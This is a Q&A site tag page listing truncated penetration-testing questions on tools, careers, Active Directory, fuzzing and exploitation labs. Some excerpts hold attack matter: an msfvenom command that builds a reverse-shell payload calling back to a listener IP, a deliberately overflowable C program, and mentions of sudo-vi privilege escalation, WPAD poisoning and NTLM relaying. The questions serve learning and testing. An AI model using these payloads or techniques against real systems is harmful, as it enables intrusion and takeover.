Questions tagged [penetration-test]

An attempt to penetrate a system's security in an effort to evaluate the protections in place.

Filter by
Sorted by
Tagged with
0
votes
1answer
71 views

How do professional pentesters use Kali? [on hold]

I'm an aspiring Hacker/Pentester/Red-teamer. I'm somewhat familiar with Linux, currently using Windows, Ubuntu and Kali. I've know that many professional pentesters use Kali for their job. There are ...
0
votes
0answers
32 views

Application and API Penetration Testing - SaaS solutions [closed]

I have managed projects where we have used a third-party to do application penetration testing. Based on what I could gather, it entailed manual testing and did identify some good issues. We also used ...
-1
votes
0answers
37 views

File path in file metadata [on hold]

I am currently learning about OSINT gathering tools and I was wondering if once you download a file the file path in the metadata always changes to the one in your machine. Is there a way to stop this ...
0
votes
0answers
24 views

Configure gRPC with Burp Suite

I have been given a task to do security auditing of the APIs which are running in gRPC. I am using BloomRPC for querying the gRPC Services. But there so no such option in BloomRPC to proxy the ...
1
vote
1answer
240 views

“I hacked my way into this interview”: Is this a good idea for getting a job? [closed]

There's been some joking on the internet where a candidate would "hack their way into getting a job interview" and disclose that as a proof of skill in a job related to Infosec. If I somehow find a "...
1
vote
0answers
71 views

Regex DoS: Is OWASP's characterization of “evil regexes” complete?

OWASP defines "evil regex" (here) as follows: Evil Regexes A Regex is called "evil" if it can stuck on crafted input. Evil Regex pattern contains: Grouping with repetition ...
0
votes
1answer
78 views

How to get gain the knowledge to be a beginner penetration tester on my own? [closed]

I want to apply for a job as a penetration tester in a good company. I have a fairly good knowledge of programming and have experience as a back-end developer. I started to work with Burpsuite, ZAP, ...
1
vote
0answers
57 views

Security aspect in the API gateway area

I am currently planning security testing procedures within an API gateway. We want to define in advance what we expect to be covered on the security level. Scanning REST APIs (see http://docs.w3af....
39
votes
5answers
9k views

Pen test results for web application include a file from a forbidden directory that is not even used or referenced

In a recent pen test of a web application one of the issues found was a 'backup file'. This was a javascript file that was renamed to filename.js1 when an updated version of filename.js was uploaded. ...
1
vote
2answers
153 views

Terminate a javascript without “continuous” < and / [closed]

So I am testing a website and found out I can inject most characters, here is what I have found: " is always escaped with \" < and > are not escaped Interestingly, / is only escaped with / if < ...
0
votes
1answer
94 views

Free/online penetration testing tools [closed]

My employer has used an external consultant for penetration testing. The web development team not involved in the pentesting itself and we only received the results and suggestions on how to improve ...
0
votes
1answer
47 views

How to check vulnerable component and its version in any APK?

I have given an app to test, on which I ran a quick scan in composition tool like Protecode, It shows all component (like okhttp, protobuf,okhttp etc.) used and existing vulnerability. My question is,...
1
vote
1answer
111 views

Path Manipulation Vulnerability

Currently I am working in code review process. I have few doubts regrading Path Manipulation Vulnerability. Some portion of the Path is already hard coded and with extension public class ReadFile { ...
4
votes
1answer
115 views

ActiveDirectory PenTest Help [closed]

I'm popped in the middle of the domain with what appears to be a VERY solid network. Good policy, good security, a lot of the usual tactics won't work. I cant pass-the-hash, find any SYSVOL loot, or ...
0
votes
1answer
52 views

Security test within a staging environment. Is SOAPUI sufficient as a test tool?

Currently I am working on a project in which I am supposed to define the following aspects as a test manager: Conception of a penetration test for a test staging environment Planning security ...
-1
votes
1answer
39 views

Sack team_id leaking in source code [closed]

I found slack team_id in vdp source code, is it a sensitive token if yes how can I use it for a PoC?
0
votes
1answer
82 views

Adding Floating point operations to fuzzing?

During analysing a software testing paper I read We plan to add floating-point operations in order to extend fuzz testing capability. What kind of benefits I can expect from adding floating point ...
-2
votes
2answers
182 views

Why use tools such as BurpSuite, nmap or SQLmap?

I mean why are tools needed for pen-testing? I've hacked websites using plain XSS and SQL injections. I didn't require any tools such as the ones I listed above. Now that I want to progress further ...
2
votes
2answers
172 views

Privilege Escalation TTY error while using sudo /usr/bin/vi command [closed]

I am currently trying to escalate my privileges on an Ubuntu box. When I enumerated the server and run "sudo -l" command, I found out /usr/bin/vi set to (root) NOPASSWD. (root) NOPASSWD: /usr/bin/vi /...
1
vote
2answers
90 views

I want know if a file with php code but without extension name could be exploted?

I'm testing a site and I found a file with critical php code but this does not have extension name, my question is it could be exploited for a shell attack or something like? I don't found nothing ...
1
vote
1answer
80 views

Looking for real penetration testing reports [closed]

I'm wondering if there's any repository with leaked penetration testing reports? I found some samples but I'm not confident they are taken from real life cases. Does any one know where can I find ...
1
vote
0answers
34 views

Configure Burp to pass dynamic authentication token from the past response to the next request in intruder

I would like to reuse an authentication token (which is dynamic) between a response and a request in Burp Suite intruder. By dynamic I mean that the token is invalidated after being sent to the ...
0
votes
1answer
117 views

As a private individual, what might I learn from hiring a pentester for my home network? [closed]

It's far from unusual for companies to hire external pentesters to probe their systems in order to expose vulnerabilities. Finding companies that cater to this market isn't difficult, and a few ...
-1
votes
2answers
139 views

How to perform a security test/review/penetration testing of Ethernet ports?

I have been engaged by a client who wants its Ethernet ports checked to determine whether port security is functioning effectively. What can be the approach or steps to do check Ethernet port ...
0
votes
0answers
30 views

How to test post authentication web site (i.e secured resources) in whitebox?

I have a web app which is has a login portal and secured pages only accessible when login is accepted. I'm in a whitebox scenario and I want to pentest pages beyond the login portal. My problem is I ...
1
vote
0answers
61 views

how to create random request time delay in sqlmap?

How can i configure sql-map to try payloads at random time delay? as an example time between first and second request can be 0.10s and second and third might 0.25 and so on. i know there is --delay ...
0
votes
0answers
46 views

Antivirus and it's role in detecting payload execution?

My first question is this: 1) Antivirus software works using signature based detection. Signature based detection evaluates items (maybe not the right word?) based upon a big database of known threats....
0
votes
1answer
75 views

How Dirbuster find the files within a directory? (Differentiating between files and directories) [closed]

I am writing the python code of DIRBUSTER tool in kali linux but I got stuck at finding files that lies within directories. So my question is how can I differentiate between Files and Directories ...
1
vote
0answers
102 views

Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi

I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM. ...
1
vote
1answer
769 views

Why doesn't my systemctl command work? [closed]

I'm working on a pentest VM, and have elevated my user privileges to that of a common user. I can see from my enumeration scans that systemctl has a SUID bit set, and has the ownership group listed as ...
1
vote
1answer
95 views

Simple buffer overflow trying to leak address of system()

Code: #include <string.h> void vuln(char *arg) { char buffer[10]; strcpy(buffer, arg); } int main( int argc, char** argv ) { vuln(argv[1]); return 0; } I've determined I ...
1
vote
0answers
84 views

Basic buffer overflow able to overwrite EIP but doesn't correctly overwrite when using memory address

I wrote a basic vulnerable app in C. #include void vuln(char *arg) { char buffer[10]; strcpy(buffer, arg); } int main( int argc, char** argv ) { vuln(argv[1]); return 0; } I ...
0
votes
0answers
74 views

Where are NTLM and LM hashes stored in a password protected microsoft presentation file

I have a password protected presentation file (MS office 2003). My assignment required me to either remove the password or find it. In my research i found out that presentation use ntlm and/or nt ...
0
votes
1answer
50 views

How to access a shared webhosting webpage without the domainname?

I would like to know how one can access a shared webhosted webpage without using the domainname. If i directly access the IP adress I get Apache is functioning normally I need to access it since the ...
1
vote
0answers
89 views

For pen testing why would the client need to sign a NDA?

I'm starting the process of doing some pen testing and other security related things as a contractor. Specifically regarding pen testing. I have been Googling around to put together some docs for the ...
0
votes
0answers
59 views

Using Responder.py to WPAD Poisoning

I have set up Responder.py to WPAD Poisoning to display a Login-Prompt but it does not show it on Victims Machine if they surf to example google.com. In Wireshark, i see that the WPAD is resolved to ...
1
vote
1answer
172 views

How to find a website behind a Firewall? [closed]

Some context for my question: I'm currently studying Information Security, and this is for an assignment from my teacher. For my assignment, I received two IP addresses. I did a port scan with nmap ...
1
vote
1answer
85 views

Are there technical framework for IT sec audit just like there are management frameworks?

TL;DR Are there technical frameworks (processes with checklists ruled by international standards like COBIT, ISO 27000) for IT security analysis/auditing ? Hello, Let's say you're a software ...
3
votes
0answers
54 views

Good book detailing the security aspects of Microsoft Active Directory [closed]

I am attending training later this summer related to AD pentesting. As such, I wanted to ask for book recommendations which detail (in full or in part) the security aspects of Active Directory. The ...
0
votes
0answers
136 views

How to fingerprint Windows 10 reliably?

Recently, I have been practicing penetration testing and I have come to a standstill when trying to fingerprint the OS for a Windows 10 target with nmap. For the most part, I'm not able to identify ...
1
vote
1answer
85 views

It is possible to enumerate/discover IIS applications from outside?

I wonder if it is possible that someone, from the Internet, could be able to discover services provided via IIS by knowing only the IP address. If yes, how? And how can I protect my IIS from this ...
0
votes
0answers
54 views

Execute internal penetration test without touching Active Directory

I'm part of a penetration testing team and part of my responsibilities for this quarter are organizing red team engagements for the rest of the year. This quarter, we've received buy-in from all org ...
0
votes
0answers
257 views

Problems relaying NTLMv2 with Responder and MultiRelay

I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup: Kali Box: IP: 192.168.1.13 ...
0
votes
0answers
56 views

Executable reverse shell payload won't execute on linux machine

Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; So after ...
0
votes
1answer
64 views

Incorrect results via Nexpose, but displaying correct one with Nmap

We are scanning our network via Nexpose. Recently an asset was found vulnerable to Wannacry CVE 2017-0146 SMB Remote code execution vulnerability. However when i have tested it same through Nmap it ...
0
votes
1answer
64 views

Nikto commandline options

I was reading from Nikto's site on the commandline options used and I am curious about this option https://cirt.net/nikto2-docs/options.html -ask Whether to ask about submitting updates: yes (ask ...
0
votes
3answers
285 views

Will pentesting my own LAN violate ISP rules? [closed]

I want to learn and practice penetration testing on my own network, and I want to be sure I'm making it legal. Is there a system that reports to my ISP that I'm making suspicious activities, even if ...
0
votes
0answers
151 views

SQLMAP injection with dynamic token?

I've a web app that has an injection point in POST data. POST data requires 4 params and one of these is a session-custom token. The problem is that every time request is made i need to get a new ...
0
votes
0answers
50 views

Logging Keycode event in android secure or insecure?

During the android application security assessment, I have observed the application logging the keycode events at sensitive areas like credit card input field. Is it secure or not? Please observe the ...
0
votes
1answer
161 views

Metasploit Exploitation with Virtual Hosts (PHP_Include Exploit)

I am currently trying to build an example of a host vulnerable to Remote File Inclusion vulnerabilities. I have a docker application which hosts 3 vulnerable websites, and in order to access them I ...